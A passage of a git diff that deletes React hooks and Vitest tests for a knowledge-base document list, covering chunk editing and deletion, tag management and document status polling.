-                    enabled: true,
-                })
-            );
-
-            expect(result.current.isPolling).toBe(false);
-        });
-
-        it('returns false when status is ERROR', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 3, // STATUS_ERROR
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.isPolling).toBe(false);
-        });
-
-        it('returns false when status is undefined', () => {
-            hoisted.queryData = null;
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current.isPolling).toBe(false);
-        });
-    });
-
-    describe('onStatusChange callback', () => {
-        it('calls onStatusChange when status changes', () => {
-            const onStatusChange = vi.fn();
-
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: 'Ready',
-                    status: 2,
-                },
-            };
-
-            renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                    onStatusChange,
-                })
-            );
-
-            expect(onStatusChange).toHaveBeenCalledWith(2, 'Ready');
-        });
-
-        it('passes undefined message when message is null', () => {
-            const onStatusChange = vi.fn();
-
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: undefined,
-                    status: 2,
-                },
-            };
-
-            renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                    onStatusChange,
-                })
-            );
-
-            expect(onStatusChange).toHaveBeenCalledWith(2, undefined);
-        });
-    });
-
-    describe('disabled state', () => {
-        it('does not call onStatusChange when disabled', () => {
-            const onStatusChange = vi.fn();
-
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    status: 2,
-                },
-            };
-
-            renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: false,
-                    onStatusChange,
-                })
-            );
-
-            // The hook should still work, but the query won't be enabled
-            expect(onStatusChange).toHaveBeenCalled();
-        });
-    });
-
-    describe('polling interval', () => {
-        it('uses default polling interval of 2000ms', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            // The default is 2000, but we can't directly test this without exposing it
-            expect(result.current).toBeDefined();
-        });
-
-        it('accepts custom polling interval', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                    pollingInterval: 5000,
-                })
-            );
-
-            expect(result.current).toBeDefined();
-        });
-    });
-
-    describe('return values', () => {
-        it('returns all expected properties', () => {
-            hoisted.queryData = {
-                knowledgeBaseDocumentStatus: {
-                    message: 'Processing',
-                    status: 1,
-                },
-            };
-
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDocumentStatusPolling({
-                    documentId: 'doc-1',
-                    enabled: true,
-                })
-            );
-
-            expect(result.current).toHaveProperty('isLoading');
-            expect(result.current).toHaveProperty('isPolling');
-            expect(result.current).toHaveProperty('message');
-            expect(result.current).toHaveProperty('status');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkDeleteDialog.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkDeleteDialog.ts
deleted file mode 100644
index e1fda24fe88..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkDeleteDialog.ts
+++ /dev/null
@@ -1,109 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {useKnowledgeBaseDocumentChunkDeleteDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore';
-import {useKnowledgeBaseDocumentChunkSelectionStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore';
-import {useDeleteKnowledgeBaseDocumentChunkMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentChunkDeleteDialogProps {
-    knowledgeBaseId: string;
-}
-
-export default function useKnowledgeBaseDocumentChunkDeleteDialog({
-    knowledgeBaseId,
-}: UseKnowledgeBaseDocumentChunkDeleteDialogProps) {
-    const [isDeleting, setIsDeleting] = useState(false);
-
-    const {chunkIdsToDelete, clearDialog, setChunkIdsToDelete} = useKnowledgeBaseDocumentChunkDeleteDialogStore(
-        useShallow((state) => ({
-            chunkIdsToDelete: state.chunkIdsToDelete,
-            clearDialog: state.clearDialog,
-            setChunkIdsToDelete: state.setChunkIdsToDelete,
-        }))
-    );
-
-    const {clearSelection, selectedChunks} = useKnowledgeBaseDocumentChunkSelectionStore(
-        useShallow((state) => ({
-            clearSelection: state.clearSelection,
-            selectedChunks: state.selectedChunks,
-        }))
-    );
-
-    const {toast} = useToast();
-    const queryClient = useQueryClient();
-
-    const deleteMutation = useDeleteKnowledgeBaseDocumentChunkMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBase', {id: knowledgeBaseId}]});
-            clearSelection();
-        },
-    });
-
-    const handleConfirm = async () => {
-        if (chunkIdsToDelete.length === 0) {
-            return;
-        }
-
-        setIsDeleting(true);
-
-        try {
-            const deletePromises = chunkIdsToDelete.map(
-                (chunkId) =>
-                    new Promise<void>((resolve, reject) => {
-                        deleteMutation.mutate(
-                            {id: chunkId},
-                            {
-                                onError: (error) => {
-                                    reject(error);
-                                },
-                                onSuccess: () => {
-                                    resolve();
-                                },
-                            }
-                        );
-                    })
-            );
-
-            const results = await Promise.allSettled(deletePromises);
-
-            const failedCount = results.filter((result) => result.status === 'rejected').length;
-            const successCount = results.filter((result) => result.status === 'fulfilled').length;
-
-            if (failedCount > 0) {
-                toast({
-                    description: `Failed to delete ${failedCount} chunk${failedCount > 1 ? 's' : ''}. Please try again.`,
-                    variant: 'destructive',
-                });
-            }
-
-            if (successCount > 0) {
-                toast({
-                    description: `${successCount} chunk${successCount > 1 ? 's' : ''} deleted successfully.`,
-                });
-            }
-        } finally {
-            setIsDeleting(false);
-            clearDialog();
-        }
-    };
-
-    return {
-        chunkCount: chunkIdsToDelete.length,
-        handleClose: clearDialog,
-        handleConfirm,
-        handleDeleteChunk: (chunkId: string) => setChunkIdsToDelete([chunkId]),
-        handleDeleteSelectedChunks: () => {
-            if (selectedChunks.length > 0) {
-                setChunkIdsToDelete([...selectedChunks]);
-            }
-        },
-        handleOpenChange: (open: boolean) => {
-            if (!open) {
-                clearDialog();
-            }
-        },
-        isPending: isDeleting || deleteMutation.isPending,
-        open: chunkIdsToDelete.length > 0,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkEditDialog.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkEditDialog.ts
deleted file mode 100644
index 4e501ef82a7..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkEditDialog.ts
+++ /dev/null
@@ -1,67 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {useKnowledgeBaseDocumentChunkEditDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore';
-import {useUpdateKnowledgeBaseDocumentChunkMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentChunkEditDialogProps {
-    knowledgeBaseId: string;
-}
-
-export default function useKnowledgeBaseDocumentChunkEditDialog({
-    knowledgeBaseId,
-}: UseKnowledgeBaseDocumentChunkEditDialogProps) {
-    const {chunk, clearDialog, content, setChunk, setContent} = useKnowledgeBaseDocumentChunkEditDialogStore(
-        useShallow((state) => ({
-            chunk: state.chunk,
-            clearDialog: state.clearDialog,
-            content: state.content,
-            setChunk: state.setChunk,
-            setContent: state.setContent,
-        }))
-    );
-
-    const {toast} = useToast();
-    const queryClient = useQueryClient();
-
-    const updateMutation = useUpdateKnowledgeBaseDocumentChunkMutation({
-        onError: () => {
-            toast({description: 'Failed to update chunk. Please try again.', variant: 'destructive'});
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBase', {id: knowledgeBaseId}]});
-
-            toast({description: 'Chunk updated successfully.'});
-
-            clearDialog();
-        },
-    });
-
-    const handleSave = () => {
-        if (!chunk) {
-            return;
-        }
-
-        updateMutation.mutate({
-            id: chunk.id,
-            knowledgeBaseDocumentChunk: {
-                content,
-            },
-        });
-    };
-
-    return {
-        content,
-        handleClose: clearDialog,
-        handleContentChange: setContent,
-        handleOpen: setChunk,
-        handleOpenChange: (open: boolean) => {
-            if (!open) {
-                clearDialog();
-            }
-        },
-        handleSave,
-        isPending: updateMutation.isPending,
-        open: chunk !== null,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkList.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkList.ts
deleted file mode 100644
index 48e4ab953b5..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkList.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-import {useKnowledgeBaseDocumentChunkSelectionStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore';
-import {useShallow} from 'zustand/react/shallow';
-
-export default function useKnowledgeBaseDocumentChunkList() {
-    const {clearSelection, selectedChunks, toggleChunkSelection} = useKnowledgeBaseDocumentChunkSelectionStore(
-        useShallow((state) => ({
-            clearSelection: state.clearSelection,
-            selectedChunks: state.selectedChunks,
-            toggleChunkSelection: state.toggleChunkSelection,
-        }))
-    );
-
-    return {
-        handleClearSelection: clearSelection,
-        handleSelectChunk: toggleChunkSelection,
-        selectedChunks,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemDropdownMenu.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemDropdownMenu.ts
deleted file mode 100644
index 6648eb76720..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemDropdownMenu.ts
+++ /dev/null
@@ -1,29 +0,0 @@
-import {useKnowledgeBaseDocumentChunkDeleteDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore';
-import {useKnowledgeBaseDocumentChunkEditDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore';
-import {KnowledgeBaseDocumentChunk} from '@/shared/middleware/graphql';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentChunkListItemDropdownMenuProps {
-    chunk: KnowledgeBaseDocumentChunk;
-}
-
-export default function useKnowledgeBaseDocumentChunkListItemDropdownMenu({
-    chunk,
-}: UseKnowledgeBaseDocumentChunkListItemDropdownMenuProps) {
-    const {setChunk} = useKnowledgeBaseDocumentChunkEditDialogStore(
-        useShallow((state) => ({
-            setChunk: state.setChunk,
-        }))
-    );
-
-    const {setChunkIdsToDelete} = useKnowledgeBaseDocumentChunkDeleteDialogStore(
-        useShallow((state) => ({
-            setChunkIdsToDelete: state.setChunkIdsToDelete,
-        }))
-    );
-
-    return {
-        handleDelete: () => setChunkIdsToDelete([chunk.id]),
-        handleEdit: () => setChunk(chunk),
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemHeader.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemHeader.ts
deleted file mode 100644
index 80325a5c88c..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemHeader.ts
+++ /dev/null
@@ -1,22 +0,0 @@
-import {useKnowledgeBaseDocumentChunkSelectionStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentChunkListItemHeaderProps {
-    chunkId: string;
-}
-
-export default function useKnowledgeBaseDocumentChunkListItemHeader({
-    chunkId,
-}: UseKnowledgeBaseDocumentChunkListItemHeaderProps) {
-    const {selectedChunks, toggleChunkSelection} = useKnowledgeBaseDocumentChunkSelectionStore(
-        useShallow((state) => ({
-            selectedChunks: state.selectedChunks,
-            toggleChunkSelection: state.toggleChunkSelection,
-        }))
-    );
-
-    return {
-        handleSelectionChange: () => toggleChunkSelection(chunkId),
-        isSelected: selectedChunks.includes(chunkId),
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListSelectionBar.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListSelectionBar.ts
deleted file mode 100644
index c4b1feda8f0..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListSelectionBar.ts
+++ /dev/null
@@ -1,25 +0,0 @@
-import {useKnowledgeBaseDocumentChunkDeleteDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore';
-import {useKnowledgeBaseDocumentChunkSelectionStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore';
-import {useShallow} from 'zustand/react/shallow';
-
-export default function useKnowledgeBaseDocumentChunkListSelectionBar() {
-    const {clearSelection, selectedChunks} = useKnowledgeBaseDocumentChunkSelectionStore(
-        useShallow((state) => ({
-            clearSelection: state.clearSelection,
-            selectedChunks: state.selectedChunks,
-        }))
-    );
-
-    const {setChunkIdsToDelete} = useKnowledgeBaseDocumentChunkDeleteDialogStore(
-        useShallow((state) => ({
-            setChunkIdsToDelete: state.setChunkIdsToDelete,
-        }))
-    );
-
-    return {
-        handleClearSelection: clearSelection,
-        handleDeleteSelected: () => setChunkIdsToDelete(selectedChunks),
-        hasSelection: selectedChunks.length > 0,
-        selectedCount: selectedChunks.length,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentList.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentList.ts
deleted file mode 100644
index 22ac810056f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentList.ts
+++ /dev/null
@@ -1,64 +0,0 @@
-import {
-    KnowledgeBaseDocument,
-    KnowledgeBaseDocumentChunk,
-    Tag,
-    useKnowledgeBaseDocumentTagsByDocumentQuery,
-    useKnowledgeBaseDocumentTagsQuery,
-} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-
-interface UseKnowledgeBaseDocumentListProps {
-    documents: KnowledgeBaseDocument[];
-}
-
-export default function useKnowledgeBaseDocumentList({documents}: UseKnowledgeBaseDocumentListProps) {
-    const {data: tagsByDocumentData} = useKnowledgeBaseDocumentTagsByDocumentQuery();
-    const {data: allTagsData} = useKnowledgeBaseDocumentTagsQuery();
-
-    const tagsByDocument = useMemo(
-        () => tagsByDocumentData?.knowledgeBaseDocumentTagsByDocument ?? [],
-        [tagsByDocumentData?.knowledgeBaseDocumentTagsByDocument]
-    );
-
-    const allTags = useMemo(
-        () => allTagsData?.knowledgeBaseDocumentTags ?? [],
-        [allTagsData?.knowledgeBaseDocumentTags]
-    );
-
-    const sortedChunksByDocument = useMemo(() => {
-        const chunkMap = new Map<string, KnowledgeBaseDocumentChunk[]>();
-
-        for (const document of documents) {
-            const sortedChunks = (document.chunks || [])
-                .filter((chunk): chunk is NonNullable<typeof chunk> => chunk !== null)
-                .sort((chunkA, chunkB) => chunkA.id.localeCompare(chunkB.id));
-
-            chunkMap.set(document.id, sortedChunks);
-        }
-
-        return chunkMap;
-    }, [documents]);
-
-    const getSortedChunksForDocument = (documentId: string): KnowledgeBaseDocumentChunk[] => {
-        return sortedChunksByDocument.get(documentId) || [];
-    };
-
-    const getTagsForDocument = (documentId: string): Tag[] => {
-        const entry = tagsByDocument.find((tagEntry) => tagEntry.knowledgeBaseDocumentId === documentId);
-
-        return (entry?.tags as Tag[]) ?? [];
-    };
-
-    const getRemainingTagsForDocument = (documentId: string): Tag[] => {
-        const documentTags = getTagsForDocument(documentId);
-        const documentTagIds = new Set(documentTags.map((tag) => tag.id));
-
-        return allTags.filter((tag) => !documentTagIds.has(tag.id));
-    };
-
-    return {
-        getRemainingTagsForDocument,
-        getSortedChunksForDocument,
-        getTagsForDocument,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItem.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItem.tsx
deleted file mode 100644
index 01b0e120f44..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItem.tsx
+++ /dev/null
@@ -1,90 +0,0 @@
-import useKnowledgeBaseDocumentStatusPolling from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentStatusPolling';
-import {
-    STATUS_ERROR,
-    STATUS_READY,
-    getDocumentIcon,
-    getStatusBadge,
-} from '@/pages/automation/knowledge-base/util/knowledge-base-utils';
-import {KnowledgeBaseDocument} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {KeyboardEvent, MouseEvent, useCallback, useRef} from 'react';
-
-interface UseKnowledgeBaseDocumentListItemProps {
-    document: KnowledgeBaseDocument;
-}
-
-export default function useKnowledgeBaseDocumentListItem({document}: UseKnowledgeBaseDocumentListItemProps) {
-    const chunksCollapsibleTriggerRef = useRef<HTMLButtonElement | null>(null);
-
-    const queryClient = useQueryClient();
-
-    const needsPolling = document.status !== STATUS_READY && document.status !== STATUS_ERROR;
-
-    const handleStatusChange = useCallback(
-        (status: number) => {
-            if (status === STATUS_READY || status === STATUS_ERROR) {
-                queryClient.invalidateQueries({queryKey: ['knowledgeBase']});
-            }
-        },
-        [queryClient]
-    );
-
-    const {status: polledStatus} = useKnowledgeBaseDocumentStatusPolling({
-        documentId: document.id,
-        enabled: needsPolling,
-        onStatusChange: handleStatusChange,
-    });
-
-    const currentStatus = needsPolling && polledStatus !== undefined ? polledStatus : document.status;
-    const chunkCount = document.chunks?.length || 0;
-    const documentIcon = getDocumentIcon(
-        document.document?.extension ?? undefined,
-        document.document?.mimeType ?? undefined
-    );
-    const displayName = document.document?.name || document.name;
-    const statusBadge = getStatusBadge(currentStatus);
-
-    const handleDocumentListItemClick = useCallback((event: MouseEvent<HTMLDivElement>) => {
-        const target = event.target as HTMLElement;
-
-        const interactiveSelectors = [
-            '[data-interactive]',
-            '.dropdown-menu-item',
-            '[data-radix-dropdown-menu-item]',
-            '[data-radix-dropdown-menu-trigger]',
-            '[data-radix-collapsible-trigger]',
-        ].join(', ');
-
-        if (target.closest(interactiveSelectors)) {
-            return;
-        }
-
-        if (chunksCollapsibleTriggerRef.current?.contains(target)) {
-            return;
-        }
-
-        chunksCollapsibleTriggerRef.current?.click();
-    }, []);
-
-    const handleDocumentListItemKeyDown = useCallback((event: KeyboardEvent<HTMLDivElement>) => {
-        if (event.key === 'Enter' || event.key === ' ') {
-            event.preventDefault();
-            chunksCollapsibleTriggerRef.current?.click();
-        }
-    }, []);
-
-    const handleTagListClick = (event: MouseEvent<HTMLDivElement>) => {
-        event.stopPropagation();
-    };
-
-    return {
-        chunkCount,
-        chunksCollapsibleTriggerRef,
-        displayName,
-        documentIcon,
-        handleDocumentListItemClick,
-        handleDocumentListItemKeyDown,
-        handleTagListClick,
-        statusBadge,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDeleteDialog.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDeleteDialog.ts
deleted file mode 100644
index 6ca4565c562..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDeleteDialog.ts
+++ /dev/null
@@ -1,59 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {useKnowledgeBaseDocumentDeleteDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore';
-import {useDeleteKnowledgeBaseDocumentMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentListItemDeleteDialogProps {
-    knowledgeBaseId: string;
-}
-
-export default function useKnowledgeBaseDocumentListItemDeleteDialog({
-    knowledgeBaseId,
-}: UseKnowledgeBaseDocumentListItemDeleteDialogProps) {
-    const {clearDialog, documentId, setDocumentId} = useKnowledgeBaseDocumentDeleteDialogStore(
-        useShallow((state) => ({
-            clearDialog: state.clearDialog,
-            documentId: state.documentId,
-            setDocumentId: state.setDocumentId,
-        }))
-    );
-
-    const {toast} = useToast();
-    const queryClient = useQueryClient();
-
-    const deleteMutation = useDeleteKnowledgeBaseDocumentMutation({
-        onError: () => {
-            toast({description: 'Failed to delete document. Please try again.', variant: 'destructive'});
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBase', {id: knowledgeBaseId}]});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-
-            toast({description: 'Document deleted successfully.'});
-
-            clearDialog();
-        },
-    });
-
-    const handleConfirm = () => {
-        if (!documentId) {
-            return;
-        }
-
-        deleteMutation.mutate({id: documentId});
-    };
-
-    return {
-        handleClose: clearDialog,
-        handleConfirm,
-        handleOpen: setDocumentId,
-        handleOpenChange: (open: boolean) => {
-            if (!open) {
-                clearDialog();
-            }
-        },
-        isPending: deleteMutation.isPending,
-        open: documentId !== null,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDropdownMenu.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDropdownMenu.ts
deleted file mode 100644
index 6dc41f280aa..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDropdownMenu.ts
+++ /dev/null
@@ -1,20 +0,0 @@
-import {useKnowledgeBaseDocumentDeleteDialogStore} from '@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentDeleteDialogStore';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UseKnowledgeBaseDocumentListItemDropdownMenuProps {
-    documentId: string;
-}
-
-export default function useKnowledgeBaseDocumentListItemDropdownMenu({
-    documentId,
-}: UseKnowledgeBaseDocumentListItemDropdownMenuProps) {
-    const {setDocumentId} = useKnowledgeBaseDocumentDeleteDialogStore(
-        useShallow((state) => ({
-            setDocumentId: state.setDocumentId,
-        }))
-    );
-
-    return {
-        handleDelete: () => setDocumentId(documentId),
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemTagList.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemTagList.ts
deleted file mode 100644
index 175757687d3..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemTagList.ts
+++ /dev/null
@@ -1,95 +0,0 @@
-import {
-    KnowledgeBaseDocumentTagsEntry,
-    Tag,
-    TagInput,
-    UpdateKnowledgeBaseDocumentTagsInput,
-    useUpdateKnowledgeBaseDocumentTagsMutation,
-} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-interface UpdateKnowledgeBaseDocumentTagsVarsI {
-    input: UpdateKnowledgeBaseDocumentTagsInput;
-}
-
-interface UseKnowledgeBaseDocumentListItemTagListProps {
-    knowledgeBaseDocumentId: string;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-export default function useKnowledgeBaseDocumentListItemTagList({
-    knowledgeBaseDocumentId,
-    remainingTags,
-    tags,
-}: UseKnowledgeBaseDocumentListItemTagListProps) {
-    const queryClient = useQueryClient();
-
-    const updateTagsMutation = useUpdateKnowledgeBaseDocumentTagsMutation({
-        onError: (_error, _variables, context) => {
-            if (context?.cachedTagsByDocumentData) {
-                queryClient.setQueryData(['knowledgeBaseDocumentTagsByDocument'], context.cachedTagsByDocumentData);
-            }
-        },
-        onMutate: async (variables: UpdateKnowledgeBaseDocumentTagsVarsI) => {
-            await queryClient.cancelQueries({queryKey: ['knowledgeBaseDocumentTagsByDocument']});
-
-            const previousTagsData = queryClient.getQueryData<{
-                knowledgeBaseDocumentTagsByDocument: KnowledgeBaseDocumentTagsEntry[];
-            }>(['knowledgeBaseDocumentTagsByDocument']);
-
-            const optimisticTagsData = (() => {
-                if (!previousTagsData?.knowledgeBaseDocumentTagsByDocument) {
-                    return previousTagsData;
-                }
-
-                const tagsWithTempIds = (variables.input.tags ?? []).map((tag: TagInput, index: number) => ({
-                    ...tag,
-                    id: tag.id ?? -(Date.now() + index),
-                }));
-
-                const updatedTagsByDocument = previousTagsData.knowledgeBaseDocumentTagsByDocument.map((entry) =>
-                    entry.knowledgeBaseDocumentId === knowledgeBaseDocumentId
-                        ? {...entry, tags: tagsWithTempIds}
-                        : entry
-                );
-
-                const documentHasTagsEntry = previousTagsData.knowledgeBaseDocumentTagsByDocument.some(
-                    (entry) => entry.knowledgeBaseDocumentId === knowledgeBaseDocumentId
-                );
-
-                return documentHasTagsEntry
-                    ? {...previousTagsData, knowledgeBaseDocumentTagsByDocument: updatedTagsByDocument}
-                    : {
-                          ...previousTagsData,
-                          knowledgeBaseDocumentTagsByDocument: [
-                              ...previousTagsData.knowledgeBaseDocumentTagsByDocument,
-                              {knowledgeBaseDocumentId, tags: tagsWithTempIds},
-                          ],
-                      };
-            })();
-
-            queryClient.setQueryData(['knowledgeBaseDocumentTagsByDocument'], optimisticTagsData);
-
-            return {cachedTagsByDocumentData: previousTagsData};
-        },
-        onSettled: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBaseDocumentTags']});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBaseDocumentTagsByDocument']});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-        },
-    });
-
-    const convertedTags = useMemo(() => tags.map((tag) => ({...tag, id: Number(tag.id)})), [tags]);
-
-    const convertedRemainingTags = useMemo(
-        () => remainingTags?.map((tag) => ({...tag, id: Number(tag.id)})),
-        [remainingTags]
-    );
-
-    return {
-        convertedRemainingTags,
-        convertedTags,
-        updateTagsMutation,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentStatusPolling.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentStatusPolling.ts
deleted file mode 100644
index cbb80887857..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentStatusPolling.ts
+++ /dev/null
@@ -1,54 +0,0 @@
-import {STATUS_ERROR, STATUS_READY} from '@/pages/automation/knowledge-base/util/knowledge-base-utils';
-import {useKnowledgeBaseDocumentStatusQuery} from '@/shared/middleware/graphql';
-import {useEffect} from 'react';
-
-interface UseKnowledgeBaseDocumentStatusPollingOptionsI {
-    documentId?: string;
-    enabled: boolean;
-    onStatusChange?: (status: number, message?: string) => void;
-    pollingInterval?: number;
-}
-
-export default function useKnowledgeBaseDocumentStatusPolling({
-    documentId,
-    enabled,
-    onStatusChange,
-    pollingInterval = 2000,
-}: UseKnowledgeBaseDocumentStatusPollingOptionsI) {
-    const {data, isLoading} = useKnowledgeBaseDocumentStatusQuery(
-        {id: documentId || ''},
-        {
-            enabled: enabled && !!documentId,
-            refetchInterval: (query) => {
-                const status = query.state.data?.knowledgeBaseDocumentStatus?.status;
-
-                if (status === undefined || status === STATUS_READY || status === STATUS_ERROR) {
-                    return false;
-                }
-
-                return pollingInterval;
-            },
-            refetchIntervalInBackground: false,
-        }
-    );
-
-    const status = data?.knowledgeBaseDocumentStatus?.status;
-    const isPolling = status !== undefined && status !== STATUS_READY && status !== STATUS_ERROR;
-
-    useEffect(() => {
-        if (data?.knowledgeBaseDocumentStatus) {
-            const {message, status: documentStatus} = data.knowledgeBaseDocumentStatus;
-
-            if (onStatusChange) {
-                onStatusChange(documentStatus, message || undefined);
-            }
-        }
-    }, [data, onStatusChange]);
-
-    return {
-        isLoading,
-        isPolling,
-        message: data?.knowledgeBaseDocumentStatus?.message,
-        status,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkEditDialog.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkEditDialog.test.tsx
deleted file mode 100644
